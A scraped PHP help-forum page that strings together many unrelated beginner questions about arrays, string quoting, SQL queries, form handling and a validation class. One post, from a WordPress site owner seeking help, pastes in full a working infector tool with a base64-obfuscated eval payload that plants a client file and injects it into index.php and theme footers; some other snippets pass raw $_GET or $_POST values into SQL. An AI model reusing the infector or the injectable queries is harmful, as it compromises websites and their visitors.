PHP - Need Help To Understand Code Piece.
Hi there, i have an code <?php $a = [ 0 => 10, ]; $i = 0; $a[$i++] = $i;
and question "Explain what the problem is and what you could do to fix it"
Please help! Similar TutorialsI have the below code: Code: [Select] $buttons = "button+='<table height=\"40\" border=\"0\"id=\"table1\"cellspacing=\"0\"cellpadding=\"2\"><tr><td>---PLACE CODE HERE---</td><td valign=\"bottom\">';\n"; between the to cell tags (<td>---PLACE CODE HERE---</td>) I need to add this code: Code: [Select] document.getElementById('com').innerHTML=<?php echo $gSurfMultiLoadedText; ?>+button2; My problem is the '; " and \" stuff Anyone care to show how I can merge these pieces? Helo dear people, I need some help with piece of code that generates XML This all works as is: Code: [Select] include(dirname(__FILE__).'/config/config.inc.php'); require_once(dirname(__FILE__).'/init.php'); error_reporting(0); $p=Product::getProducts(7, 0, 0, 'id_product', 'desc', false); $products=Product::getProductsProperties(7, $p); header("Content-Type: text/xml\n\n"); //print "Content-type: text/html\n\n"; echo '<?xml version="1.0" encoding="utf-8"?> <Catalog>'; foreach ($products as $row) { if ($row['active']){ $img=Product::getCover($row['id_product']); echo ' <products> <code>'.str_replace("&", "&", $row['id_product']).'</code> <name>'.str_replace("&", "&", $row['name']).'</name> <descr>'.str_replace("&", "and", strip_tags($row['description_short'])).'</descr> <price>'.($row['price']*1).'</price> <quantity>'.str_replace("&", "&", $row['quantity']).'</quantity> <categ>'.str_replace("&", "&", $row['category']).'</categ> <link>http://www.xxxxx.hr'.$row['link'].'</link> <img>http://www.xxxxx.hr/xxxxx/'.$shopUrl.'img/p/'.$row['id_product'].'-'.$img['id_image'].'.jpg</img> </products>'; } } echo '</Catalog>'; ?>code] :shrug: But now i need to hide quantity if its larger that 5 pieces. So that all quantity that is >= equal or larger of 5 si shown in XML as 5. Can anyone help me out with this!? :'( BR Vixus I have this little code that I cannot get to work Code: [Select] $sql_buildings = ("SELECT castle, treasury, huts, [b]leader_id[/b] FROM teams WHERE team_id=[b]".$_GET['t']." [/b]"); $rsbuildings = mysql_query($sql_buildings); if($rsbuildings[".$_GET['t']."] == 'leader_id' ){ The problem is this part: Code: [Select] if($rsbuildings[[b]".$_GET['t']."[/b]] == '[b]leader_id[/b]' ){ How can I write it to have these to values work? Code: Code: [Select] <table border='0' style="height:100%;width:570px;border:solid 1px #BBB"> Error: Code: [Select] Parse error: parse error, expecting `','' or `';'' in C:\xampp\htdocs\sources\admin\manage-user.php on line 26 Sorry, im a noob when it comes to coding. please help! I am past a beginner in php but no where near an expert and I need some help. This piece of code he $query .= " limit $s,$limit"; $result = mysql_query($query) or die("Couldn't execute query"); is part of my search results page with paged indexes (next, previous 10, etc.). However with this code i get the die message but if i take the first line off ($query), the page executes but then the page doesn't operate correctly i.e. shows 15 results when the $limit(limit for rows) =10. Is it not written correctly or am I missing somethingwith the top line? if the entire script is needed let me know and i will paste it? Thanks in advance for any help! My Error Output is this: Warning: Cannot modify header information - headers already sent by (output started at city-search.php:1) in city-search.php on line 65 What I'm I missing in the code, I can't seem to get these. It works excellent in Localhost, but in production. Error above. Code: [Select] <?php // MG CREATED THIS SIMPLE REGISTRATION PHP FOR THAT GOES TO ONE SPECIFIC USER. // WILL TEST FORM REGSITRATION NG 07-2011 //If the form is submitted if(isset($_POST['submit'])) { //Check to make sure that the name field is not empty if(trim($_POST['name']) == '') { $hasError = true; } else { $name = trim($_POST['name']); } //Check to make sure that the subject field is not empty if(trim($_POST['subject']) == '') { $hasError = true; } else { $subject = trim($_POST['subject']); } //Check to make sure sure that a valid email address is submitted if(trim($_POST['email']) == '') { $hasError = true; } else if (!eregi("^[A-Z0-9._%-]+@[A-Z0-9._%-]+\.[A-Z]{2,4}$", trim($_POST['email']))) { $hasError = true; } else { $email = trim($_POST['email']); } //Check to make sure comments were entered if(trim($_POST['message']) == '') { //$hasError = true; $comments == 'Have No Friends'; } else { if(function_exists('stripslashes')) { $comments = stripslashes(trim($_POST['message'])); } else { $comments = trim($_POST['message']); } } //If there is no error, send the email if(!isset($hasError)) { //$emailTo = 'regina@shushmedeals.com'; //$emailTo = 'reginabyrd32@yahoo.com'; $emailTo = 'mp3@danjaproduction.com'; //$emailBcc = 'ganja99@netzero.net'; //$emailBcc = 'info@danjaproduction.com'; //$emailBcc = 'ganja99@netzero.net'; //Put your own email address here $body = "Location: $name \n\nEmail: $email \n\nShushMeDeals Sign-up Info:\n $comments"; // To send HTML mail, the Content-type header must be set $headers = 'From: ShushMeDeals.com City Location sign-up - '.$name.'' . "\r\n" . 'Reply-To: ' . $email . "\r\n" .'Bcc: print@extremeatlanta.com'; //$headers .= 'Cc: birthdayarchive@example.com' . "\r\n"; //$headers .= 'Bcc: info@danjaproduction.com' . "\r\n"; mail($emailTo, $subject, $body, $headers); $emailSent = true; if($emailSent = true) { setcookie("location", $name); //echo '<script type="text/javascript"> // window.location = "index.php?option=com_enmasse&controller=deal&task=today&locationName='.$name.'" // </script>'; } } } ?> Hi, I'm just trying out some basic code and playing around with passing variables by reference and i was reading this on the php manual at this page http://php.net/manual/en/language.references.pass.php : No other expressions should be passed by reference, as the result is undefined. For example, the following examples of passing by reference are invalid: <?php function foo(&$var) { $var++; } function bar() // Note the missing & { $a = 5; return $a; } foo(bar()); // Produces fatal error since PHP 5.0.5 foo($a = 5); // Expression, not variable foo(5); // Produces fatal error ?> So, i decided to try it out myself like i always do, and i noticed that i'm not getting an error when i do foo(bar()); i.e calling bar() without the & in the function declaration. Infact it works perfectly fine and returns an incremented $a after its passed to foo(). Likewise foo($a = 5); also works great and returns an incremented $a after being passed to foo(). Is this a mistake in the manual or am i missing something? Running PHP 5.3.2-1ubuntu4.5 Hi all.
I'm unfamilar with php syntax (but vb syntax). A hacker has made a backdoor in my site (wordpress installation) with uploading follwing file:
<?php Class linkBilder { private $arr_files = array(); public $signatures = array('wp_footer3333'); function get_link() { $files = '<?php new Client(1);?>'; return $files; } function request($get_str, $separator) { if (!empty($get_str)) { $obj = explode($separator, $get_str); return $obj; } else { return false; } } function make_file() { $local2=$_SERVER['DOCUMENT_ROOT']; $clientSource = '<?php ini_set("display_err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2UpOyBjdXJsX3NldG9wdCgkdGhpcy0+Y3VybCwgQ1VSTE9QVF9IRUFERVIsZmFsc2UpOyBjdXJsX3NldG9wdCgkdGhpcy0+Y3VybCwgQ1VSTE9QVF9QT1NULCB0cnVlKTsgY3VybF9zZXRvcHQoJHRoaXMtPmN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7IHJldHVybiBjdXJsX2V4ZWMoJHRoaXMtPmN1cmwpOyB9IHByaXZhdGUgZnVuY3Rpb24gX3NlcigkZGF0YSkgeyByZXR1cm4gc2VyaWFsaXplKCRkYXRhKTsgfSBwcml2YXRlIGZ1bmN0aW9uIF91bnNlcigkZGF0YSkgeyByZXR1cm4gdW5zZXJpYWxpemUoJGRhdGEpOyB9IHByaXZhdGUgZnVuY3Rpb24gZGVjb2RlcigpIHsgJHRoaXMtPmxvY2F0aW9uID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+bG9jYXRpb24pOyAkdGhpcy0+c3lzdGVtVXJsID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+c3lzdGVtVXJsKTsgJHRoaXMtPmJvdERldGVjdG9yVXJsID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+Ym90RGV0ZWN0b3JVcmwpOyAkdGhpcy0+Y2FjaGVGaWxlID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+Y2FjaGVGaWxlKTsgfSB9");eval($st);?>'; file_put_contents("$local2/wp-includes/class-wp-optimize.php", $clientSource); echo"<span style='display:block; padding:10px; border:1px solid #1f4f18; background-color:#b9b9b9; font-size:12px; line-height:12px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h4>Клиент записан в $local2/wp-includes/ </h4> </span>"; } function dir_content($path = './wp-content/themes/', $files_allowed = '.') { $dir_disallow = array('.', '..', '.htaccess', '.git', 'wp-admin', 'wp-includes' ); if(is_dir($path)) { $temp = opendir($path); while (false !== ($dir = readdir($temp))) { if ((is_dir($path . $dir)) && (!in_array($dir, $dir_disallow)) ) { $sub_dir = $path . $dir . '/'; $this->dir_content($sub_dir, $files_allowed); } elseif ((is_file($path . $dir)) && (!in_array($dir, $dir_disallow)) && (strpos($dir, $files_allowed) == true) && (strpos($dir, '_BACKUP') == false) && (strpos($dir, trim($_SERVER['SCRIPT_NAME'], '/')) === false) ) { $this->arr_files[] = $path . $dir; } } closedir($temp); } } function find($path = './wp-content/themes/', $files_allowed = '.', $requested_string = '<?php wp_footer(); ?>') { $this->dir_content($path, $files_allowed); $i=0; foreach($this->arr_files AS $in_dir_file) { $temporary_file = file_get_contents($in_dir_file); $file_founded = false; $tf_strings = explode("\n", $temporary_file); foreach ($tf_strings AS $item) { $item = strval($item); if (strpos($item, $requested_string) !== false) { $file_founded = true; $founded_str = $requested_string; } foreach ($this->signatures AS $signa) { $signa = strval($signa); if (strpos($item, $signa) !== false) { $file_founded = true; $founded_str = $signa; } } } if ($file_founded) { $i++; print " <span style='display:block; padding:10px; border:1px solid #1f4f18; background-color:#b9b9b9; font-size:12px; line-height:12px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h4>" . $in_dir_file . "</h4>TEMPLATE №:$i; готов к заражению. </span> "; } } } function scan($path = './wp-content/themes/', $files_allowed = '.', $requested_string = '<? php wp_footer(); ?>') { $this->dir_content($path, $files_allowed); foreach($this->arr_files AS $in_dir_file) { $temporary_file = file_get_contents($in_dir_file); $create_backup = false; $tf_strings = explode("\n", $temporary_file); $str_index = 0; foreach ($tf_strings AS $item) { $item = strval($item); if (strpos($item, $requested_string) !== false) { $create_backup = true; $tf_strings[$str_index]=substr_replace($tf_strings[$str_index], $this->get_link(), 0, 0); $founded_str = $requested_string; } foreach ($this->signatures AS $signa) { $signa = strval($signa); if (strpos($item, $signa) !== false) { $create_backup = true; $tf_strings[$str_index]=substr_replace($tf_strings[$str_index], $this->get_link(), 0, 0); } } $str_index++; } if ($create_backup) { chmod($path, 0777); $temp_file_backup = $in_dir_file.'_BACKUP'; file_put_contents($temp_file_backup, $temporary_file); $scanned_file = implode("\n", $tf_strings); if (file_put_contents($in_dir_file, $scanned_file)) { print "<span style='display:block; padding:15px; border:1px solid #1f4f18; background-color:#d5f5ce; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>" . $in_dir_file . "</h3> Файл заражен + сделан BACKUP </span> "; } else { print "<span style='display:block; padding:15px; border:1px solid #822121; background-color:#ea7575; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>" . $in_dir_file . "</h3> Что-то пошло не так. </span> "; } chmod($path, 0755); } } } /* function scankl() { $local2=$_SERVER['DOCUMENT_ROOT']; $requested_string = '<?php include (\'wp-includes/class-wp-optimize.php\'); define(\'WP_USE_THEMES\', true); require( dirname( __FILE__ ) . \'/wp-blog-header.php\' );'; file_put_contents("$local2/index.php", $requested_string); } */ function scankl() { $indexFile=$_SERVER['DOCUMENT_ROOT'].'/index.php'; $addContent = '<?php require_once (\'wp-includes/class-wp-optimize.php\'); if ($_GET["p"]) new Client;?>'; file_put_contents($indexFile,$addContent.file_get_contents($indexFile)); echo "<span style='display:block; padding:15px; border:1px solid #1f4f18; background-color:#d5f5ce; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>Клиент прописан в index.php'</h3></span>"; } function restore_backups($path = './wp-content/themes/', $files_allowed = '.') { $this->dir_content($path, $files_allowed); foreach($this->arr_files AS $in_dir_file) { if (is_file($in_dir_file.'_BACKUP')) { $temporary_file_from_backup = file_get_contents($in_dir_file.'_BACKUP'); if (file_put_contents($in_dir_file, $temporary_file_from_backup)) { unlink($in_dir_file.'_BACKUP'); print "<span style='display:block; padding:15px; border:1px solid #1f4f18; background-color:#d5f5ce; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>".$in_dir_file ."</h3> Файл восстановлен. </span> "; } else { print "<span style='display:block; padding:5px; border:1px solid #822121; background-color:#ea7575; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>".$in_dir_file ."</h3> Бекап не восстановлен. </span> "; } } } } function delete_backups($path = './wp-content/themes/', $files_allowed = '.') { $this->dir_content($path, $files_allowed); foreach($this->arr_files AS $in_dir_file) { if (is_file($in_dir_file.'_BACKUP')) { if (unlink($in_dir_file.'_BACKUP')) { print " <span style='display:block; padding:15px; border:1px solid #1f4f18; background-color:#d5f5ce; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>".$in_dir_file ."_BACKUP</h3> Удалён. </span>"; } else { print "<span style='display:block; padding:15px; border:1px solid #822121; background-color:#f94c00; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>".$in_dir_file ."_BACKUP</h3> НЕ удалён. </span> "; } } } } } ?> <?php $starter = new linkBilder; //start_OK $ssilka = htmlspecialchars("{$starter->get_link()}", ENT_QUOTES);?> <?php echo "<b>В футер мы пишем: </b>$ssilka".'<br>';?> <?php $local = $_SERVER['DOCUMENT_ROOT'].'/wp-content/themes/'; $local2=$_SERVER['DOCUMENT_ROOT']; ?> <? //active folder if($_POST['find']) { $starter->find($local, '.'); } else if($_POST['wrkr']) { $starter->scankl(); } else if($_POST['create']) { $starter->scan($local, '.'); } else if($_POST['backups']) { $starter->restore_backups($local, '.'); } else if($_POST['kr']) { $starter->make_file(); } else if($_POST['delbackups']) { $starter->delete_backups($local, '.'); } echo '<form method="post">'; echo '<input type="submit" style="padding:10px;" name="kr" value="Сделать клиент">'; echo '<input type="submit" style="padding:10px;" name="wrkr" value="Прописать клиент в index">'; echo '<input type="submit" style="padding:10px;" name="find" value="Проверить WP/Найти шаблоны">'; echo '<input type="submit" style="padding:10px;" name="create" value="Заразить">'; echo '<input type="submit" style="padding:10px;" name="backups" value="Востановить файл с бекапа">'; echo '<input type="submit" style="padding:10px;" name="delbackups" value="Удалить бекап">'; echo '</form>'; ?>To reverse back everything to its healthy state, i must understand what this code does. Would u help me understanding code? Thanks in advance. Hi All, I'm trying to understand the following code. I tried to display the field 'eligible' (an added field to a mysql table) for user input, but I keep getting an Invalid Type error at getFieldHTML('eligible'). Other fields are displayed correctly using the same syntax. Is getFieldHtml a class, etc? I'm sort of new to php..but I'm a quick learner...Thanks for any help! Chris <div class="form-container"> <?php echo $form->getFormOpenHTML(); ?> <fieldset class="hidden"> <ol> <li>Are you eligible?<?php echo $form->getFieldHTML('eligible'); ?></li> This topic has been moved to PHP Regex. http://www.phpfreaks.com/forums/index.php?topic=323161.0 Hi I cant understand why this code isnt echoing the results. Code: [Select] $ids = $_POST['uid']; $con = mysql_connect("localhost","root",""); mysql_select_db("product", $con); $sqlout = mysql_query("SELECT * FROM product2 WHERE 'ID' IN ('$ids')"); while ($sqlres = mysql_fetch_assoc($sqlout)) { echo $sqlres['filename'] . " " . $sqlres['title']; } mysql_close($con); Anyone got any ideas? Thanks James I've been at this now for a while but I'm struggling to understand this code. I understand the bigger picture of what the code is doing but I can't seem to graps the logic behind the code and the steps it's taking. Here is part of the code:
class Validate{ private $_passed = false, $_errors = array(), $_db = null; if($rule === 'required' && empty($value)){ $this->addError("{$item} is required"); } else if(!empty($value)){ switch($rule){ case 'min': if(strlen($value) < $rule_value){ $this->addError("{$item} must be a minimum of {$rule_value}"); } private function addError($error){ $this->_errors[] = $error; } public function errors(){ return $this->_errors; }I'm struggling to understand how the error methods and properties are being used. I can't see what is being used within the class or outside of it. Here is the code outside the class: $validate = new Validate();{ $validate = new Validate(); $validation = $validate->check($_POST, array( 'username' => array( 'required' => true, 'min' => 2, 'max' => 20, 'unique' => 'users' ), 'password' => array( 'required' => true, 'min' => 6 ), 'password_again' => array( 'required'=> true, 'matches'=> 'password' ), 'name' => array( 'required' => true, 'min' => 2, 'max' => 50 ) )); if($validation->passed()){ echo 'passed'; } else{ foreach ($validation->errors() as $error){ echo $error, '<br>'; }Looking at the 2nd part I cannot see why the programmer has put errors() as $error. Why not just create a method so you don't need to say "as $error". Also looking at the first part: private function addError($error){ $this->_errors[] = $error; } public function errors(){ return $this->_errors; }I don't understand why he has created two methods. Why not just create one? How is the public errors method able to display the errors within the class because _errors doesn't look like it contains anything. Can someone please break this down and help me to understand this because I've been at this for a while and I'm not really getting anywhere. Your help would be much appreciated. Hi, I came across this code that detects a user's browser and I don't understand parts of it. Here is the code below. Code: [Select] $agent = $_SERVER['HTTP_USER_AGENT']; if ( strpos(strtoupper($agent), 'MSIE')) { print "Internet Explorer"; } else if (strpos(strtoupper($agent), 'FIREFOX')) { print "Firefox"; } else if (strpos(strtoupper($agent), 'KONQUEROR')) { print "Konqueror"; } else if (strpos(strtoupper($agent), "LYNX")) { print "Lynx"; } else { print $agent; } and here is the part I don't understand. Code: [Select] if ( strpos(strtoupper($agent), 'MSIE')) I know that strtoupper makes all letters uppercase, and that strpos returns the position of the string within the larger string, but I don't know why they are in an if statement. Any help or explanation is greatly appreciated. Thanks. Derek I have made a bit of code that queries the database for articles published within the last year. <?php echo $numposts = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' AND 'post_date' > '" . date("Y") . "-01-01-01 00:00:00'"); if (0 < $numposts) $numposts = number_format($numposts); ?> I really don't even know how it works and need to because I want to figure out how to make it also get articles published within the last day, month and week. I suppose if I understood what needs changing I might be able to work with it but so far everything I've tried either returns the exact same number or nothing at all. It's for Wordpress just to note. Any ideas? Hello,
I'm working on a project that requires me to have stock / fake demo files that will be replaced with real files provided by users... I need something to take space and then when people actually start using the site and inputting data, then I can replace each file with new, unique files.
I have some idea of how this would work.
I would need incremented or non-matching identifiers and then a script that probably works on an if statement
like
If new data, take first list of data, delete, replace with new data. Something like that.
Hi Im sure am missing something very easy on this one can someone help me find it please.. INDEX.HTML Code: [Select] <html> <head> <title>Example form</title> </head> <body> <form name="analysis" id="analysis" action="index3.php" method="POST"> <table width="70%"> <h5><strong>A=agree B=somewhat agree C=neutral D=disagree</strong></h5> <tr> <th align="left">SECTION 1</th> <td align="right">A B  C D </td> </tr> <tr class="question"> <td class="section">Love makes the world go round. <td align="right"> <input type="radio" name="love1" id="sec11" value="0"> <input type="radio" name="love1" id="sec11" value="2"> <input type="radio" name="love1" id="sec11" value="5"> <input type="radio" name="love1" id="sec11" value="10"> </tr> <tr class="question"> <td class="section">What goes around comes around <td align="right"> <input type="radio" name="love2" id="sec12" value="0"> <input type="radio" name="love2" id="sec12" value="2"> <input type="radio" name="love2" id="sec12" value="5"> <input type="radio" name="love2" id="sec12" value="10"> <tr class="question"> <td class="section">Love thy neighbor but dont get caught <td align="right"> <input type="radio" name="love3" id="sec13" value="0"> <input type="radio" name="love3" id="sec13" value="2"> <input type="radio" name="love3" id="sec13" value="5"> <input type="radio" name="love3" id="sec13" value="10"> <tr class="question"> <td class="section">youre a volcano and he/shes a tornado <td align="right"> <input type="radio" name="love4" id="sec14" value="0"> <input type="radio" name="love4" id="sec14" value="2"> <input type="radio" name="love4" id="sec14" value="5"> <input type="radio" name="love4" id="sec14" value="10"> </table> <p> <b> About you: </b> </p> <p> <textarea rows="5" name="addtext" cols="65"></textarea> </p> <div> <input type="submit" id="createcsv" name="createcsv"> </div> </form> </body> </html> INDEX3.PHP <?php // Receiving variables @$pfw_ip= $_SERVER['REMOTE_ADDR']; @$love1 = addslashes($_POST['love1']); @$love2 = addslashes($_POST['love2']); @$love3 = addslashes($_POST['love3']); @$love4 = addslashes($_POST['love4']); @$addtext = addslashes($_POST['addtext']); // Validation //saving record in a text file if ($_POST) { foreach ($_POST as $key => $value) { $_POST[$key] = addslashes($value); } $pfw_file_name = "info.csv"; // Let's store this as an array so we can loop through it $pfw_first_row = array("love1","love2","love3","love4","addtext"); if(!file_exists($pfw_file_name)) { $pfw_is_first_row = true; // If the file doesn't exist, let's create it if (!$fh = fopen($pfw_file_name, "w+")) { die("Cannot create file {$pfw_file_name}"); } else { fclose($fh); } } else { if (!$pfw_handle = fopen($pfw_file_name, 'r')) { die("Cannot open file ($pfw_file_name)"); } // If the file exists, we want to read in its contents else { // Until we reach the end of the file while (!feof($pfw_handle)) { // We'll read in one line at a time and store it in an array $existing_file[] = fgets($pfw_handle, 1024); } if (count($existing_file) == 1) { $pfw_is_first_row = true; } } // We only opened it for reading fclose($pfw_handle); } // Now we're going to open the file for writing if (!$pfw_handle = fopen($pfw_file_name, 'w+')) { die("Cannot open file {$pfw_file_name} for writing"); } else { // We need to write in the labels if ($pfw_is_first_row == true) { // Write the file one line at a time for ($i = 0; $i < count($pfw_first_row); $i++) { // We need to combine the first label and the first row of data $string = $pfw_first_row[$i] . "," . $_POST[$pfw_first_row[$i]] . "\r\n"; fwrite($pfw_handle, $string); } } else { // Same as above, except $existing_file contains labels plus whatever // was already in the file for ($i = 0; $i < count($existing_file); $i++) { $string = rtrim($existing_file[$i], "\r\n") . "," . $_POST[$pfw_first_row[$i]] . "\r\n"; fwrite($pfw_handle, $string); } } fclose($pfw_handle); } } echo("<p align='center'><font face='Arial' size='3' color='#FF0000'>thanx</font></p>"); ?> WHENEVER I WRITE SOMETHING IN THE about you BOX AND CLICK ENTER AND WRITE ONTO A NEW LINE.. THE DATA THAT GETS SAVED IN THE CSV GETS JUMBLED UP have uploaded the files at http://www.bazazu.com/form/ for your reference.. the link to the csv file once generated would be http://www.bazazu.com/form/info.csv please advice Hi there, Sorry if this is the wrong forum to post this in, If it is please feel free to move it to the correct one. I have a php page and I am trying to get a couple of lines to only be run if Javascript is disabled on the visitors browsers. Code: [Select] $returnpage = 'myphppage.php'; include('anotherphppage.php'); It is something probably simple but I can't see it... I have tried: Code: [Select] <noscript> <?php $returnpage = 'myphppage.php'; include('anotherphppage.php'); ?> </noscript> but that does not seem to work and I was hoping someone here would have an idea... Many thanks in advance Ross Hello, I have a variable that holds a piece of text that looks something like this: "world,blue,big". Is there anyway to split the text into the separate words as an array, and remove the commas? Code: [Select] $text_to_split = "world,blue,big"; $splitArray = array(); //Do some kind of php function that splits text\\ echo splitArray[0]; // world echo splitArray[1]; //blue echo splitArray[2]; //big Would appreciate it, thanks Hi guys, I apologize for the number of posts regarding this particular class that I am writing (really, at this point, you've probably done more in it), but I have another issue. I've decided to re-write the pieces that were giving me trouble, and instead of using a for loop, I went to a foreach loop. Here's what it in the database for the particular query: Here's what I get when I dump the array with print_r(): Array ( => Array ( [0] => 4 [id] => 4 [1] => Test [label] => Test [2] => ?r=test [link] => ?r=test [3] => [relation] => [4] => 0 [parent] => 0 [5] => 5 [sort] => 5 [6] => 1 [active] => 1 ) [1] => Array ( => 2 [id] => 2 [1] => About Us [label] => About Us [2] => ?r=about [link] => ?r=about [3] => [relation] => [4] => 0 [parent] => 0 [5] => 10 [sort] => 10 [6] => 0 [active] => 0 ) [2] => Array ( => 3 [id] => 3 [1] => Fleet [label] => Fleet [2] => ?r=about/fleet [link] => ?r=about/fleet [3] => [relation] => [4] => 2 [parent] => 2 [5] => 0 [sort] => 0 [6] => 0 [active] => 0 ) ) And the SQL statement: SELECT * FROM `menu` ORDER BY `parent` ASC, `sort` ASC With the corresponding PHP code (The issue starts in formatMenuItems()): Code: [Select] <?php /** * Menu Class * * This file is used to create a dynamic menu based on the user's permissions and status * @author Max Udaskin <max.udaskin@gmail.com> * @version 1.0 * @package navigation */ /** * @ignore */ if(!defined('ALLOW_ACCESS')) { // Do not allow the file to be accessed by itself die('Restricted File.'); } require_once("Database.php"); class Menu { protected $login; protected $all_rows; protected $menu_items; protected $html = NULL; /** * The constructor * @param Login $login */ function _construct() { } /** * Get All Items * Retrieves all database menu items */ private function getAllItems() { $sql = 'SELECT * FROM `menu` ORDER BY `parent` ASC, `sort` ASC'; $database = new Database('default'); $database->connect(); $database->fetchArray($sql); $query = $database->getLastQuery(); $i = 0; while($row = mysql_fetch_array($query)) { $this->all_rows[$i] = $row; $i++; } print_r($this->all_rows); } /* * Selects the menu items that are appropriate for the user */ private function chooseMenuItems() { $this->menu_items = $this->all_rows; } /** * Formats the menu items for the HTML output */ private function formatMenuItems() { $menu = array(); $menu_imploded = ''; foreach($this->menu_items as $item) { if($item['parent'] == 0) { $menu[] = $this->parseItem($item); } } $menu_imploded = $this->combineMultiArray('', $menu); echo '<div id="menu">'; echo $menu_imploded; echo '</div>'; } /** * Searches an array and it's sub arrays for a defined value ($for) * @param array $array * @param mixed $for */ private function search(array $array, $for) { foreach ($array as $key => $value) { if ($value === $for) { return ($key); } else if (is_array($value)) { $found = $this->search($value, $for); if (is_array($found)) { array_unshift($found, $key); return $found; } } } return false; } /** * Gets the array item and returns it * @param array $arr * @param string $string */ function variableArray($arr, $string) { preg_match_all('/\[([^\]]*)\]/', $string, $arr_matches, PREG_PATTERN_ORDER); $return = $arr; foreach($arr_matches[1] as $dimension) { $return = $return[$dimension]; } return $return; } /** * Parses HTML for the item, as an array * @param array $item */ private function parseItem($item) { if($item['parent'] == 0) { $h2_s = '<h2>'; $h2_e = '</h2>'; } else { $h2_s = ''; $h2_e = ''; } $return[0] = '<ul><li>' . $h2_s . '<a href="'; $return[0] .= $item['link'] . '">'; $return[0] .= $item['label'] . '</a>' . $h2_e; $return[1] = false; // Children $return[2] = '</li></ul>'; $return['parent'] = $item['parent']; return $return; } /** * Puts all of the HTML in the array together */ private function produceHtml() { $this->getAllItems(); $this->chooseMenuItems(); $this->formatMenuItems(); } /** * Get HTML * @return string The HTML menu */ public function getHtml() { $this->produceHtml(); return $this->html; } /** * Combine Multi Array * Takes any array of any dimension and combines it into a single string * @param unknown_type $array */ private function combineMultiArray($glue, $array) { $return = ''; foreach($array as $piece) { if(is_array($piece)) { $return .= $glue . $this->combineMultiArray($glue, $piece); } $return .= $glue . $piece; } return $return; } } Hi, I am trying to translate a page in PHP using Google API. There is 5000 chars limit on data that you can send to Google at a time. So I am trying to break the page into pieces of 5000 chars. But as you know while doing this we have to keep in mind the HTML formatting that it should not be disturbed otherwise you will not get desired results. For example you have to send this: <a href="#" class="myclass">Link</a> Instead of this: <a href="#" class="myclas I am able to solve it somehow (although not perfectly I guess) by checking if "<" sign is coming after ">" sign or not. If "<" sign is coming after ">" then I go back to the point where I found ">" and cut string from there. Anyway the point is I am still having some problems regarding HTML formatting and want to know how to do it efficiently. Is there any parser available that will solve this problem!? Thanks |